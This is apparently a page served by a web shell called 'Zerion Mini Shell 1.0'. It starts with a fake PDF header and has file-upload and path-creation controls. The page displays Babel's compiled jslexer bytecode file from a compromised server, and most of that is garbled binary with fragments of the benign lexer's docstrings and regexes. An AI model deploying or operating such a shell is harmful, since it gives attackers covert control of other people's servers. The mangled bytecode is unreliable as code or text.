%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/babel/messages/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/babel/messages/__pycache__/jslexer.cpython-312.pyc

�

ƪb���.�dZddlmZddlZegd�ed��Zddd	d
dd�Zejd
ej�Z
ejdej�Zejd�Zejdej�Zejd�Zejdej z�Zejd�Zedd�Zdejdej�fdejd�fdejd�fdejdejejz�fdefde
fdejdej(�fd ejd!ej*�fd"ejd#d$j-eej0e��z�fd%ejd&ej�fd'ejd(ej(ejz�fgZd)�Zd*�Zd+�Zd-d,�Zy).z�
    babel.messages.jslexer
    ~~~~~~~~~~~~~~~~~~~~~~

    A simple JavaScript 1.5 lexer which is used for the JavaScript
    extractor.

    :copyright: (c) 2013-2022 by the Babel Team.
    :license: BSD, see LICENSE for more details.
�)�
namedtupleN)+�+�-�*�%z!=z==�<�>z<=z>=�=z+=z-=z*=z%=z<<z>>z>>>z<<=z>>=z>>>=�&z&=�|z|=z&&z||�^z^=�(�)�[�]�{�}�!�--�++�~�,�;�.�:T)�key�reverse���
�
�	)�b�f�n�r�tz[\w$_][\w\d$_]*z[\w$_][\w\d$_.]*[\w\d$_.]z/=?z%/(?:[^/\\]*(?:\\.[^/\\]*)*)/[a-zA-Z]*z(\r\n|\n|\r)z\\z[a-fA-F0-9]{1,4}�Tokenztype value linenoz\s+z<!--.*�linecommentz//.*�multilinecommentz	/\*.*?\*/�dotted_name�name�numberzb(
        (?:0|[1-9]\d*)
        (\.\d+)?
        ([eE][-+]?\d+)? |
        (0x[a-fA-F0-9]+)
    )�jsx_tagz(?:</?[^>\s]+|/>)�operatorz(%s)r�template_stringz`(?:[^`\\]*(?:\\.[^`\\]*)*)`�stringzT(
        '(?:[^'\\]*(?:\\.[^'\\]*)*)'  |
        "(?:[^"\\]*(?:\\.[^"\\]*)*)"
    )c��g}tD]3\}}|s|rd|vr�|s|dk(r�|dk(r|s�d}|j||f��5|S)ze
    Get a tokenization rule list given the passed syntax options.

    Internal to this module.
    �jsxr0r+r,)�_rules�append)r3�dottedr0�rules�
token_type�rules      �8/usr/lib/python3/dist-packages/babel/messages/jslexer.py�	get_rulesr;8se��
�E�"�	)��
�D��z�e�z�&9���:�1B�#B����&����J�
���j�$�'�(�	)��L�c�X�|jdk(r|jdvS|jdvS)zzA helper function that helps the tokenizer to decide if the current
    token may be followed by a division operator.
    r/)rrrrr)r,r-r1�regexp)�type�value)�tokens r:�indicates_divisionrBLs0��
�z�z�Z���{�{�9�9�9��:�:�?�?�?r<c��|r|d|dk(r|ddvsJd��tjd|dd�}g}|j}d}	|jd|�}|dkrn�||||�||dz}|tvr|t|�n�|dvr�t
j
||d	z�}|�\|j�}t|�dk(r"	|tt|d���|d
z}��|||z�|j�}��||�n||�|d	z}��|t|�kr|||d
�dj|�S#t$rY�hwxYw)z�Unquote a string with JavaScript rules.  The string has to start with
    string delimiters (``'``, ``"`` or the back-tick/grave accent (for template strings).)
    r���z"'`z)string provided is not properly delimitedz\1��\�uU�N����)�line_join_re�subr5�find�escapes�
uni_escape_re�match�group�len�chr�int�
ValueError�end�join)r1�result�add�pos�
escape_pos�	next_char�escaped�
escaped_values        r:�unquote_stringraUs����f�Q�i�6�"�:�-�&��)�v�2E�4�3�4�E�
�
�
�e�V�A�b�\�
2�F�
�F�
�-�-�C�
�C�
��[�[��s�+�
���>���F�3�z�"�#��:��>�*�	������	�"�#��$�
�#�)�)�&�*�q�.�A�G��"� '�
�
��
��}�%��*�!��C��M�2� 6�7�8�)�1�n�� ��I�
�-�.��k�k�m����I��
�	�N��1�n��K�N�S��[���F�3�4�L���8�8�F����'&����s�E�	E�Ec#��K�d}d}d}t|�}t|||��}||kr�|D]\}	}
|
j||�}|��n<|rtj||�}d}	ntj||�}d}	|�|dz
}�`|j�}|	�t
|	||�}
t|
�}|
��|ttj|��z
}|j�}||kr��yy�w)z�
    Tokenize JavaScript/JSX source.  Returns a generator of tokens.

    :param jsx: Enable (limited) JSX parsing.
    :param dotted: Read dotted names as single name token.
    :param template_string: Support ES6 template strings
    FrrE)r3r6r0Nr/r>)rTr;rR�division_re�regex_rerSr(rB�line_re�findallrX)�sourcer3r6r0�
may_divider\�linenorXr7r8r9rR�token_valuerAs              r:�tokenizerk�s������J�
�C�
�F�

�f�+�C��#�f�o�N�E�

��)� %�	��J���J�J�v�s�+�E�� ��	��#�)�)�&�#�6��'�
� ���v�s�3��%�
��}��q�����k�k�m���!��*�k�6�:�E�+�E�2�J��K��#�g�o�o�k�2�3�3���i�i�k��9��)�s�AC)�B"C)�'C))TTT)�__doc__�collectionsr�re�sortedrT�	operatorsrP�compile�UNICODE�name_re�dotted_name_rerc�DOTALLrdre�patternrMrQr(�VERBOSE�IrY�map�escaper4r;rBrark�r<r:�<module>r|s��	�#�	���
�D�
�	��4�d��D�
A��
�"�*�*�'����
4������8�"�*�*�E���b�j�j�� ���2�:�:�>��	�	�J��
�"�*�*�_�
%���r�z�z�%�'�/�/�1�2����
�
�.�/�
��7�/�0��
�:�2�:�:�f�b�j�j�)�*�	�:�2�:�:�i� �!��J�B�J�J�w�'�(������L�"�*�*�r�y�y�2H�I�J��N�#��W��
�z�r�z�z�	�

�*�*����
��
�
�/����6�7������G�c�h�h�s�2�9�9�i�/H�&I�I�J�K��
��
�
�#F��
�
�S�T�
�z�r�z�z�	�
�*�*�r�y�y�
 �"�#�!
��.�(@�5�p*r<

Zerion Mini Shell 1.0